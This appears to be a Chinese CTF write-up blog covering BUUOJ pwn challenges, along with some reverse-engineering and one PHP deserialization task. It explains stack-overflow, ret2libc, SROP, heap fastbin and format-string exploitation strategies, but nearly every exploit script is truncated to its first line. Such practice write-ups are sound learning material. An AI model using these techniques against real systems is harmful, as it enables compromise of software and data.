查看导出表和字符串表,有cgo相关字样,搜索了之后发现是个go程序
我tm直接idagolanghelper,注意IDA7.0
[pwn]not_the_same_3dsctf_2016
先使用get_secret读取flag,再调用write打印flag。
1 | from pwn import * |
[pwn]jarvisoj_level2
checksec里面发现只有NX保护
vulnerable_function里面存在一个漏洞
思路:先把字符串读入bss段,然后调用system函数并传参
1 | from pwn import * |
可恶,栈上已有字符串了,所以不用自己输入也可以
[pwn]jarvisoj_level2_x64
64位版本,主要是传参规则不同
64位系统下std_call,参数主要使用rdi,rsi,rdx,rcx,r8,r9传递,剩下的入栈
但是可以使用pop rdi之类的构造ROP。
1 | from pwn import * |
[pwn]babyrop
1 | from pwn import * |
[pwn]ciscn_2019_n_5
最简单的shellcode题,name中写入shellcode,第二个利用栈溢出跳转到name获取shell
1 | from pwn import * |
[pwn]ciscn_2019_ne_5
先输入密码administrator
思路:将puts地址替换为system地址,然后输入/bin/sh。但是puts地址时0x0804a020,scanf没法读入
看了wp,发现可以在程序中寻找’sh’相关字符串,命令为
1 | ROPgadget --binary ciscn_2019_ne_5 --string "/bin/sh" |
1 | from pwn import * |
[pwn]2018_rop
思路:write获取libc基址,然后rop到system(‘/bin/sh’)。但是需要通过libcsearcher确定libc版本
https://blog.csdn.net/mcmuyanga/article/details/108939218
1 | from pwn import * |
libc搜索到的选1= =
[pwn]bjdctf_2020_babyrop
使用puts泄露libc地址,然后跳转到system
1 | from pwn import * |
[pwn]babyheap_0ctf_2017
how2heap中看懂了,但是实战还是没思路
参考 https://www.cnblogs.com/luoleqi/p/12349714.html https://www.cnblogs.com/jazm/p/11184380.html
思路:先用unsorted bin attack leak堆地址,再用fast bin attack hook malloc
1 | from pwn import * |
运行该exp的时候注意使用出题方提供的libc,buuoj resources页面下可以下载对应的libc
使用
1 | import os |
设置
[pwn]pwn2_sctf_2016
vuln中利用整数溢出漏洞,然后栈溢出。
do_thing中使用了系统调用
get_n中发现如果以’\n’结尾也可以结束输入,避免输入过大,但是也导致不能包含\n
1 | from pwn import * |
[rev[GKCTF 2021]app-debug
调用了native的check函数
无JNI_OnLoad函数
1 | __int64 __fastcall Java_com_example_myapplication_MainActivity_check(__int64 a1, __int64 a2, __int64 a3) |
解密脚本
1 |
|
[pwn]jarvisoj_fm
先判断参数位置,第10个,然后向对应位置写入4
1 | from pwn import * |
[reverse][GKCTF 2021]SoMuchCode
根据hint,查看CFG图
有4组块,每组块内部有若干相同的块,根据CFG图,处理流程是一样的。
通过调试得知,第一组块用于输出
输入函数为1010,即scanf
然后发现只有sub_140001310(8i64, input, &dword_14000A6F8);引用了input
函数内交叉引用第二个参数,发现一系列操作,说明其它操作无关的。
1 |
|
可以看出是类似tea加密的函数,经过比对得到是xxtea加密,DELTA=0x33445566
key是0x36b0,0x013816,0x10,0x01e0f3,加密12轮,n=8
然后是验证部分,继续向下找,找到了这里
1 | while ( 1 ) |
对比那里需要知道哪个变量是输入的,哪个是代比对数据,可以变换自己的输入查看
要比对的数据
1 | 0x993CAB5C, 0x3F40E129, 0x777791DE, 0x737DFEA6, 0x0ECCF59E6, 0x0C9604CE3, 0x9682C0A5, 0x556F2A1E |
解密脚本,来自 https://bbs.pediy.com/thread-268288.htm#msg_header_h2_3
1 |
|
[pwn]ciscn_2019_s_3
gadgets函数中有两个系统调用,一个是0xf(sys_rt_sigreturn),一个是0x3b(sys_execve)
有两种解法 https://blog.csdn.net/github_36788573/article/details/103541178
1 execve
目的在于执行execve(‘/bin/sh’,0,0),通过main栈帧泄露地址。
1 | rax=0x3d |
在执行write时,栈帧如下(8字节对齐)
可以看到main函数
1 | .text:000000000040051D ; int __cdecl main(int argc, const char **argv, const char **envp) |
rdi即argc,rsi即argv,argv指向一系列字符串的地址,位于main栈帧的下面
1 | buf_0 |
所以var_10处存储argv的起始地址,可以通过这个计算buf的地址,可以通过调试得知偏移是0x118
使用ROPgadget获取所需的pop指令,但是缺少pop rdx指令
但是libc_csu_init中有以下指令
1 | .text:0000000000400580 mov rdx, r13 |
首先将r13的值赋值到rdx中,r14赋值到rsi中,r15赋值到edi中,然后调用r12指向的函数
找到一个ROP
1 | 0x000000000040059c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret |
由于地址高位是0,所以需要额外增加pop rdi进行binsh的传递
1 | from pwn import * |
rt_sigreturn
这个是恢复环境用的,构造栈帧即可
1 | from pwn import * |
[pwn][HarekazeCTF2019]baby_rop2
简单ROP,先泄露read地址,然后跳转到system
1 | from pwn import * |
gnome-terminal没办法直接调试,只能手动执行命令调试
[pwn]ciscn_2019_es_2
1 | int vul() |
只能覆盖老rbp和一个栈地址
可以第一次泄露老rbp,然后覆盖rbp,使栈顶指向栈内的binsh字符串,最后调用system
1 | from pwn import * |
[pwn]ez_pz_hackover_2016
需要注意的是,拷贝的源地址是&src,也就是参数的地址,而不是s本身的地址
1 | void *__cdecl vuln(int src, size_t n) |
这个地址可以通过调试得到,然后是相对s的偏移地址也通过调试得到
1 | from pwn import * |
[pwn][Black Watch 入群题]PWN
虽然只能溢出栈地址和返回地址,但是可以进行栈迁移,即可执行ROP
[pwn]picoctf_2018_rop chain
1 | from pwn import * |
[web][极客大挑战2019]PHP
1 |
|
反序列化中包含’\x00’,这个需要通过\%00
转换。__wakeup函数需要通过字段数大于实际属性数绕过,是CVE-2016-7124